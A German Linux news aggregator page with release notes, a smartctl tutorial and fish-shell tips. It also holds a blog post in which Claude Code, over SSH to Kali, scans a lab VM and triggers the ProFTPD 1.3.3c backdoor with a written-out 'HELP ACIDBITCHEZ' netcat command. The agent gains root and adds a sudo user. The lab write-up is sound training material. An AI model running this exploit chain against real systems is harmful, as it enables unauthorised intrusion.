Das Mint Team meldet im aktuellen Newsletter für Dezember eine beeindruckende Summe an eingehenden Spenden. Die Community spendete über 47.000 US-Dollar und erreichte damit einen neuen Höchstwert. Parallel dazu erschien Linux Mint 22.3 nach einer längeren Testphase. Die Entwickler arbeiten nun an einer besseren Verwaltung von Tastaturbelegungen für Nutzer mit mehreren Sprachen. Auch die Verwaltung […]
Während Plasma 6.6 noch auf seine Veröffentlichung wartet, richtet sich der Blick der KDE Entwickler schon auf die nächste Version. Erste Einblicke zeigen, wohin sich die Oberfläche weiterentwickelt. Viele Änderungen betreffen die tägliche Nutzung und sollen den Desktop spürbar angenehmer machen. Das Fensterlisten Widget erhält eine deutlich übersichtlichere Darstellung. Offene Programme lassen sich künftig nach […]
Canonical hat Ubuntu 24.04.4 LTS veröffentlicht und liefert damit aktualisierte Installationsmedien für neue Systeme. Nutzer erhalten ein System mit allen aktuellen Updates und wichtigen Sicherheitskorrekturen. Die neue Ausgabe nutzt Kernel 6.17 und eine modernen Mesa Grafikstack in Version 25.2. Beides stammt aus Ubuntu 25.10 und soll mehr Hardware unterstützen und Spiele beschleunigen. Frühere Ausgaben der […]
GNOME hat die Version 48.9 veröffentlicht und liefert damit eine Wartungsversion für Nutzer der älteren Desktopreihe. Das Update konzentriert sich auf Stabilität und beseitigt mehrere lästige Fehler. Besonders Nautilus profitiert von der neuen Version. Der Dateimanager stürzt bei MTP Geräten nicht mehr ab und zeigt Vorschaubilder wieder zuverlässiger. Auch das Verhalten der Seitenleiste wirkt nun […]
Die European Open Source Awards rücken erneut engagierte Projekte ins Rampenlicht. Die Auszeichnungen würdigen Menschen und Initiativen, die offene Technologien in Europa voranbringen. Das Programm soll die Bedeutung freier Software stärken und mehr Aufmerksamkeit für deren Nutzen schaffen. In Brüssel wurden die Preise kurz vor der FOSDEM überreicht. Der Hauptpreis ging an Greg Kroah Hartman. […]
System76 liefert ein neues Update für den COSMIC Desktop. Version 1.0.6 erscheint nur eine Woche nach der vorherigen Ausgabe 1.0.5. Die Aktualisierung konzentriert sich auf Fehlerkorrekturen und kleine Optimierungen der Rust Komponenten. Die Statusanzeige nutzt nun den Dienst socket-activated Daemon für StatusNotifierWatcher. Das verbessert die Zuverlässigkeit der Applets. Der Compositor basiert auf einer neueren Smithay […]
Microsoft liefert eine neue Ausgabe von Azure Linux. Die Version 3.0.20260204 richtet sich an Nutzer mit hohen Anforderungen. Das System setzt weiter auf den Linux 6.6 LTS Kernel. Dieser gilt inzwischen als älterer Zweig. Zwei neuere LTS Linien stehen bereits bereit. Neu ist eine zusätzliche Kernel Variante für moderne Hardware. Microsoft stellt nun ein Gen1 […]
Mit der Veröffentlichung von Linux 6.19 hat Linus Torvalds eine klare Entscheidung getroffen. Die nächste Version wird nicht 6.20 heißen. Stattdessen beginnt im April eine neue Nummernreihe. Torvalds begründet den Schritt mit der wachsenden Länge der bisherigen Serie. Große Zahlen seien schlicht unübersichtlich geworden. Der Übergang zu Linux 7.0 startet sofort. Das sogenannte Merge Fenster […]
Die Ende Januar in Brüssel zum zweiten Mal vergebenen European Open Source Awards zeichnen Menschen aus, die sich in Europa um Open Source verdient gemacht haben.
Linus Torvalds hat die neue Kernel Version 6.19 freigegeben. Die Veröffentlichung verlief ruhig und ohne Überraschungen. Gleichzeitig kündigte Torvalds an, dass der nächste Kernel die Nummer 7.0 tragen wird. Der Schritt dient nur der Übersichtlichkeit und markiert keinen neuen Entwicklungsabschnitt. Die aktuelle Version bringt viele technische Neuerungen. AMD Systeme profitieren von einer Funktion, die Daten […]
KDE Linux macht große Schritte und verlässt spürbar die frühe Testphase. Das junge Projekt entwickelt sich zu einer eigenständigen Plasma Distribution und gewinnt immer mehr Mitwirkende. Die Entwickler sehen das System inzwischen zu gut sechzig Prozent auf dem Weg zur Beta. Ein wichtiger Fortschritt betrifft das Updateverfahren. KDE Linux lädt nun nur noch die Änderungen […]
Mit Linux 6.19 geht der erste Kernel des Jahres und gleichzeitig der letzte Kernel der Serie 6.x ins Rennen. Aus Sicht der Endanwender bringt er Verbesserungen für Grafik, Dateisysteme und Hardware-Kompatibilität. TUXEDO-Notebooks profitieren vom neuen Uniwill-Treiber.
Es ist grundsätzlich sinnvoll, den Gesundheitszustand einer Festplatte im Blick zu behalten. Wie man fehlerhafte Sektoren erkennt, habe ich im Artikel „Überprüfung auf fehlerhafte Sektoren“ erläutert. Eine weitere Möglichkeit bietet die Self-Monitoring, Analysis and Reporting Technology, kurz S.M.A.R.T., die es ermöglicht, HDDs und SSDs zu überwachen. Diese Daten können je nach Ausstattung der Festplatten und des Betriebssystems ausgelesen werden.
Hierfür wird auf Linux-Systemen das Tool smartmontools benötigt. Die ausgelesenen Daten liefern wertvolle Hinweise auf mögliche Probleme mit dem Medium – bevor es zu einem Ausfall kommt.
Installation
Unter Debian-basierten Systemen ist smartmontools in den Paketquellen enthalten und schnell installiert:
sudo apt install smartmontools
S.M.A.R.T.-Werte abfragen
Um die aktuellen Werte eines Laufwerks auszulesen, genügt folgender Befehl:
sudo smartctl -a /dev/sdX
/dev/sdX steht dabei stellvertretend für das jeweilige Laufwerk, etwa /dev/sda oder /dev/nvme0n1 für NVMe-SSDs. Die Option -a sorgt dafür, dass alle verfügbaren Informationen ausgegeben werden.
Wichtig: sdX ist ein Platzhalter und muss durch die tatsächliche Bezeichnung des zu prüfenden Laufwerks ersetzt werden.
Was die Ausgabe verrät
Die Ausgabe von smartctl ist recht umfangreich und auf den ersten Blick etwas unübersichtlich. Neben allgemeinen Informationen wie Modell, Firmware-Version und Seriennummer finden sich dort auch die sogenannten S.M.A.R.T.-Attribute. Diese zeigen unter anderem wichtige Messwerte wie:
den allgemeinen Gesundheitszustand (SMART overall-health self-assessment test result)
die Temperatur des Laufwerks (Temperature)
die Verfügbare Reserve (Available Spare)
den Reserve-Schwellenwert (Available Spare Threshold)
die verbrauchte Lebensdauer (Percentage Used)
die gelesenen Dateneinheiten (Data Units Read)
die geschriebenen Dateneinheiten (Data Units Written)
Ein Beispiel:
sudo smartctl -a /dev/nvme0n1
...
SMART overall-health self-assessment test result: PASSED
Temperature: 45 Celsius
Available Spare: 100%
Available Spare Threshold: 50%
Percentage Used: 4%
Data Units Read: 37.885.790 [19,3 TB]
Data Units Written: 28.019.142 [14,3 TB]
...
Für eine kurze Abfrage des Gesundheitszustands reicht hingegen:
sudo smartctl -H /dev/sdX
Ein Beispiel:
sudo smartctl -H /dev/nvme0
...
SMART overall-health self-assessment test result: PASSED
...
Fazit
Mit smartctl hat man unter Linux ein mächtiges Werkzeug zur Hand, um die Gesundheit von Laufwerken zu prüfen. Gerade bei älteren Festplatten lohnt sich ein regelmäßiger Blick auf die S.M.A.R.T.-Werte. Im Ernstfall können sie vor Datenverlust warnen – und geben den entscheidenden Anstoß, ein Backup nicht weiter aufzuschieben.
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen.
VS Code und Remote Shell
Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht.
Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen.
Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden.
mkdir my-project
cd my-project
python3 -m venv .venv
source .venv/bin/activate # bash, zsh
source .venv/bin/activate.fish # fish !!!
Ubuntu 24.04 LTS bekommt derzeit ein großes Technikupdate. Canonical verteilt neue Kernelversionen und moderne Grafikstacks im Rahmen des nächsten Hardware Enablement (HWE) – Stacks an alle Nutzer. Die Aktualisierung stammt aus Ubuntu 25.10 und bringt spürbar bessere Hardwareunterstützung. Mit dem kommenden Pointrelease 24.04.4 LTS wird das neue Paketset offiziell ausgeliefert. Viele Systeme erhalten die Neuerungen […]
System76 liefert mit COSMIC 1.0.5 ein kompaktes Update, das viele kleine Verbesserungen bündelt. Die neue Version konzentriert sich klar auf Stabilität und spürbare Optimierungen im Alltag. Nutzer dürfen sich über zahlreiche Detailpflege freuen, die den Desktop runder wirken lässt. Die Applets zeigen nun auf Wunsch den Akkustand in Prozent an. COSMIC Files wirkt ebenfalls ausgereifter […]
LibreOffice 26.2 steht ab sofort für alle großen Plattformen bereit. Die neue Version konzentriert sich auf mehr Tempo, bessere Kompatibilität und eine angenehmere Bedienung. Viele Abläufe fühlen sich direkter an und reagieren schneller auf Eingaben. Writer zeigt sich deutlich stabiler im Umgang mit komplexen Dokumenten. Schwebende Tabellen folgen nun verlässlicher den Seitenregeln. Die Nachverfolgung von […]
Im Bundestag wächst der Wunsch nach mehr digitaler Eigenständigkeit. Eine neue Kommission untersucht derzeit, wie sich das Parlament unabhängiger von ausländischen Technologiekonzernen machen kann, wie der Blog Dr. Windows berichtet. Ziel ist ein stabiles digitales Umfeld, das sensible Abläufe schützt und zugleich den täglichen Betrieb sicherstellt. Die Arbeitsgruppe prüft das gesamte technische Fundament des Parlaments. […]
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …
Im openSUSE Projekt beginnt eine neue Debatte über die künftige Organisation der Gemeinschaft. Jeff Mahoney, VP of Engineering for Linux Systems bei SUSE, hat einen Entwurf vorgestellt, der helfen soll, Entscheidungen in dem stetig wachsenden Umfeld besser zu strukturieren und nachvollziehbarer zu machen. Der Vorschlag versteht sich als Grundlage für Gespräche und ändert keine bestehenden […]
Das Linux Projekt erhält erstmals einen klar geregelten Plan für den Fall, dass Linus Torvalds oder zentrale Maintainer ihre Aufgaben nicht mehr ausführen können. Das “Linux Kernel Project Continuity” Dokument beschreibt nun, wie die Weiterführung des Kernel Repositories organisiert wird und wer im Ernstfall Verantwortung übernimmt. Sollte die Arbeit am torvalds/linux.git Hauptrepository ins Stocken geraten, […]
Hier haben wir wieder ein „Henne und Ei“-Problem.Zwar sind die Cookies richtig kopiert worden und auch die Dateien sind zugänglich, sie lassen sich ja via Browser aufrufen, aber leider ist ytdlp veraltet. Bis ein neues Image für Tube Archivist erscheint, muss man sich mit der Variable TA_AUTO_UPDATE_YTDLP helfen. Mit dieser Variable in der Compose-Datei und ... Weiterlesen
Euer monatliches Lieblingsformat bei fosstopia ist wieder da! Gemeinsam werfen wir einen Blick auf die spannendsten Ereignisse und Entwicklungen der letzten Wochen und ordnen sie für Euch ein. Also: schnappt Euch einen Kaffee, Tee, heißen Kakao oder Euer Lieblingsgetränk, macht es Euch gemütlich und lasst uns den Januar 2026 Revue passieren. In dieser Ausgabe erwarten Euch die wichtigsten […]
NVIDIA öffnet sein Cloud Gaming Angebot nun auch für Linux Systeme. Die neue native App steht ab sofort als Beta bereit und markiert einen deutlichen Schritt weg von der bisherigen Steam Deck Ausrichtung. Die GeForce NOW App richtet sich klar an Desktop Nutzer und soll das Erlebnis der Windows und macOS Versionen erreichen. Die Installation […]
VirtualBox legt mit Version 7.2.6 ein Update vor, das viele Schwachstellen beseitigt und den Alltag mit virtuellen Maschinen spürbar ruhiger macht. Die Entwickler konzentrieren sich klar auf Zuverlässigkeit und räumen zahlreiche Fehler aus, die Hosts und Gäste gleichermaßen betreffen. Der Virtual Machine Manager arbeitet nun stabiler und reagiert besser auf ungewöhnliche Startsituationen. Frühere Abstürze beim […]